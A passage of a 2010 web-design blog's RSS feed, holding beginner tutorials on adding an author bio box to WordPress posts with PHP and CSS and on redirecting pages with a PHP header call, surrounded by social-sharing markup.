			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Box+in+Thesis+1.6&amp;link=http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/&amp;notes=After%20posting%20a%20general%20tutorial%20on%20How%20to%20Add%20%0D%0Aan%20About%20Author%20Box%20in%20the%20Post%20Footer%20in%20%20Wordpress%20yesterday%2C%20my%20visitor%20traffic%20soared%20and%20quite%20a%20few%20persons%20were%20asking%20me%20how%20to%20add%20the%20author%20box%20to%20the%20Thesis%20theme.%20So%20since%20I%20like%20to%20please%20my%20readers%2C%20here%27s%20a%20short%20and%20easy%20tutorial%20on%20h&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/03/20/how-to-add-an-about-author-box-in-thesis-1-6/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>How to Add an About Author Bio Box in the Post Footer in WordPress</title>
		<link>http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/</link>
		<comments>http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 13:04:03 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[About Author]]></category>
		<category><![CDATA[Author Bio Box]]></category>
		<category><![CDATA[Author Signature WordPress]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Post Footer]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=370</guid>
		<description><![CDATA[This is a very short tutorial on how to add an About Author Bio Box at the end of your posts just like the one at the end of this post. An author box is very important because it further connects with readers by giving a little background information on the author. I spent 2 ...]]></description>
			<content:encoded><![CDATA[<p>This is a very short tutorial on how to add an <strong>About </strong><img class="alignright size-full  wp-image-59" title="wordpress-blue" src="http://samswebguide.com/wp-content/uploads/2010/02/wordpress-blue.png" alt="Wordpress Logo" width="150" height="150" /><br />
<strong>Author Bio Box</strong> at the end of your posts just like the one at the end of this post. An author box is very important because it further connects with readers by giving a little background information on the author. I spent 2 days testing different types of plugins for this purpose but could not find any that worked correctly. So I decided to write the code and then this tutorial.<span id="more-370"></span></p>
<p>This will require that you access 2 of your template files, however, very little coding is required; just copying and pasting, unless you want to make further customization.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-875" title="WordPress Author Bio Box" src="http://samswebguide.com/wp-content/uploads/2010/03/author-bio.jpg" alt="WordPress Author Bio Box" width="468" height="134" /></p>
<p>Let&#8217;s get started.</p>
<h3><span style="color: #000000;">Step 1 &#8211; Code to call the Author Biography Info</span></h3>
<p>Copy the code below to your <strong>single.php</strong> (Single Post) file, which is found in WordPress by accessing your Appearance tab then select Editor. Search for the &lt;?php the_content(); ?&gt; line of code, press enter to give some space then copy and paste the code <strong>below that line</strong>, then save:</p>
<pre>&lt;div class="postauthor"&gt;
&lt;?php echo get_avatar( get_the_author_id() , 120 ); ?&gt;
&lt;h4&gt;Article by &lt;a href="&lt;?php the_author_url(); ?&gt;"&gt;
&lt;?php the_author_firstname(); ?&gt; &lt;?php the_author_lastname(); ?&gt;&lt;/a&gt;&lt;/h4&gt;
 &lt;p&gt;&lt;?php the_author_firstname(); ?&gt; has written &lt;strong&gt;&lt;?php the_author_posts(); ?&gt;&lt;/strong&gt; awesome article(s) for us. &lt;br/&gt;&lt;br/&gt;&lt;?php the_author_description(); ?&gt;&lt;/p&gt;
&lt;/div&gt;</pre>
<h3><span style="color: #000000;">Step 2 &#8211; CSS Files</span></h3>
<p>Copy the CSS code below to your <strong>style.css</strong> or<strong> </strong><strong>custom.css</strong> file. This will control the background color, width and text  alignment. You may change the color schemes as needed to fit your theme.</p>
<pre>/* Author's Bio Box */
.postauthor { background: #F5F5F5; border-top: 1px solid #e1e1e0; border-bottom: 1px solid #e1e1e0; overflow: hidden; padding: 1.5em; }
.postauthor img { border: 5px solid #e2dede; float: left; margin-right: 1.5em; }
.postauthor h4 { color: #666; font-size: 2em; margin-bottom: 5px; }
.postauthor p { color: #515151; font-size: 13px; margin-bottom: 12px; }</pre>
<h3><span style="color: #993300;"><span style="color: #000000;"> </span></span><span style="color: #993300;"><span style="color: #000000;">Step 3 &#8211; Author&#8217;s Bio</span></span></h3>
<p><span style="color: #993300;"><span style="color: #000000;">Add the author&#8217;s bio information in the About Yourself section in the WordPress dashboard. Please note that if you wish to add links to the author&#8217;s bio, they should be entered using the </span></span>&lt;a href=&#8221;http://www.yourdomain.com&#8221;&gt; Your Site&#8217;s Name &lt;/a&gt; format.</p>
<p><span style="color: #993300;"><span style="color: #000000;">That&#8217;s it! I hope this tutorial was simple enough and very helpful.<br />
</span></span></p>
<h3><span style="color: #993300;"><span style="color: #000000;"><span style="color: #000000;">Questions / Suggestions </span></span></span></h3>
<p><span style="color: #993300;"><span style="color: #000000;"><span style="color: #000000;">Please leave a comment and let me know if this works for you, if its simple enough or if you have an idea for improving the code. There is always room for improvement.</span><br />
</span></span></p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+Add+an+About+Author+Bio+Box+in+the+Post+Footer+in+Wordpress&amp;link=http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/&amp;notes=This%20is%20a%20very%20short%20tutorial%20on%20how%20to%20add%20an%20About%20%0D%0AAuthor%20Bio%20Box%20at%20the%20end%20of%20your%20posts%20just%20like%20the%20one%20at%20the%20end%20of%20this%20post.%20An%20author%20box%20is%20very%20important%20because%20it%20further%20connects%20with%20readers%20by%20giving%20a%20little%20background%20information%20on%20the%20author.%20I%20spent%202%20days%20testing%20different&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/03/19/how-to-add-an-about-author-box-in-the-post-footer-in-wordpress/feed/</wfw:commentRss>
		<slash:comments>26</slash:comments>
		</item>
		<item>
		<title>How to redirect web pages using a very simple PHP code</title>
		<link>http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/</link>
		<comments>http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/#comments</comments>
		<pubDate>Fri, 26 Feb 2010 17:59:41 +0000</pubDate>
		<dc:creator>Sam</dc:creator>
				<category><![CDATA[Other Tutorials]]></category>
		<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[redirect]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[web page]]></category>

		<guid isPermaLink="false">http://samswebguide.com/?p=46</guid>
		<description><![CDATA[This is  a very short and simple tutorial on how to redirect your web pages using a simple php script. You may need to do simple page redirection for quite a few reasons. For example; 1) You’ve change your domain name and the old url no longer exists so when the user types in the ...]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-47  alignright" title="php-logo" src="http://samswebguide.com/wp-content/uploads/2010/02/php-logo.png" alt="PHP Logo" width="153" height="80" /></p>
<p>This is  a very short and simple tutorial on how to redirect your web pages using a simple php script. You may need to do simple page redirection for quite a few reasons. For example;</p>
<p>1) You’ve change your domain name and the old url no longer exists so when the user types in the old url they seamlessly get redirected to the new one<span id="more-46"></span></p>
<p>2) Users are redirected to browser specific web pages</p>
<p>3) Location specific web pages, e.g. a user who lives in the Dominican Republic who tries to access google.com will automatically be redirected to maybe google.com.do where the site is in spanish.</p>
<p><strong>Do not</strong> use redirects if the destination page is completely different from what the user might be expecting. So, if you have a link that says James Bond movies the destination site should not end up being entirely different content. This won’t be good for search engine rankings and will not be good for user experience.</p>
<p><strong>Page Redirect using PHP</strong></p>
<p>Web page redirection using php is very simple. Simply add the following code at the beginning of your web page file, before the &lt;html&gt; tag. This needs to be first on the page. The safest way to do this is to remove all other content from page, that way no mistake can be made.</p>
<p>&lt;?php<br />
header( ‘location: http://www.yoursite.com/newpage.html’ ) ;<br />
?&gt;</p>
<p>You will need to replace the URL above with the URL you wish to direct to. Also, remember to save the file that contains this PHP code with a .php extension. This tells the server to expect php code within the file and therefore parse it accordingly. That’s it.</p>
<p><strong>Note:</strong> When using the ‘Back’ button, the user is taken to the last viewed page and not the redirect page.</p>
<p>In summary, there is nothing wrong with the auto-redirecting method, provided that the final destination contains what the surfer expected to see.</p>


<div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-knowledge">
<ul class="socials">
		<li class="shr-twitter">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=%2524%257Btitle%257D%2B-%2B%2524%257Bshort_link%257D&amp;service=7&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a>
		</li>
		<li class="shr-facebook">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=5&amp;tags=&amp;ctype=" rel="nofollow" title="Share this on Facebook">Share this on Facebook</a>
		</li>
		<li class="shr-googlebuzz">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=257&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a>
		</li>
		<li class="shr-delicious">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=2&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a>
		</li>
		<li class="shr-stumbleupon">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=38&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a>
		</li>
		<li class="shr-digg">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=3&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Digg this!">Digg this!</a>
		</li>
		<li class="shr-reddit">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=40&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a>
		</li>
		<li class="shr-linkedin">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=88&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Share this on LinkedIn">Share this on LinkedIn</a>
		</li>
		<li class="shr-blogengage">
			<a href="http://www.shareaholic.com/api/share/?title=How+to+redirect+web+pages+using+a+very+simple+PHP+code&amp;link=http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/&amp;notes=%0D%0A%0D%0AThis%20is%C2%A0%20a%20very%20short%20and%20simple%20tutorial%20on%20how%20to%20redirect%20your%20web%20pages%20using%20a%20simple%20php%20script.%20You%20may%20need%20to%20do%20simple%20page%20redirection%20for%20quite%20a%20few%20reasons.%20For%20example%3B%0D%0A%0D%0A1%29%20You%E2%80%99ve%20change%20your%20domain%20name%20and%20the%20old%20url%20no%20longer%20exists%20so%20when%20the%20user%20types%20in%20the%20old%20url%20t&amp;short_link=&amp;shortener=none&amp;shortener_key=&amp;v=1&amp;apitype=1&amp;apikey=8afa39428933be41f8afdb8ea21a495c&amp;source=Shareaholic&amp;template=&amp;service=286&amp;tags=&amp;ctype=" rel="nofollow" class="external" title="Engage with this article!">Engage with this article!</a>
		</li>
</ul><div style="clear: both;"></div><div class="shr-getshr" style="visibility:hidden;font-size:10px !important"><a target="_blank" href="http://www.shareaholic.com/?src=pub">Get Shareaholic</a></div><div style="clear: both;"></div></div>

]]></content:encoded>
			<wfw:commentRss>http://samswebguide.com/2010/02/26/how-to-redirect-web-pages-using-a-very-simple-php-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

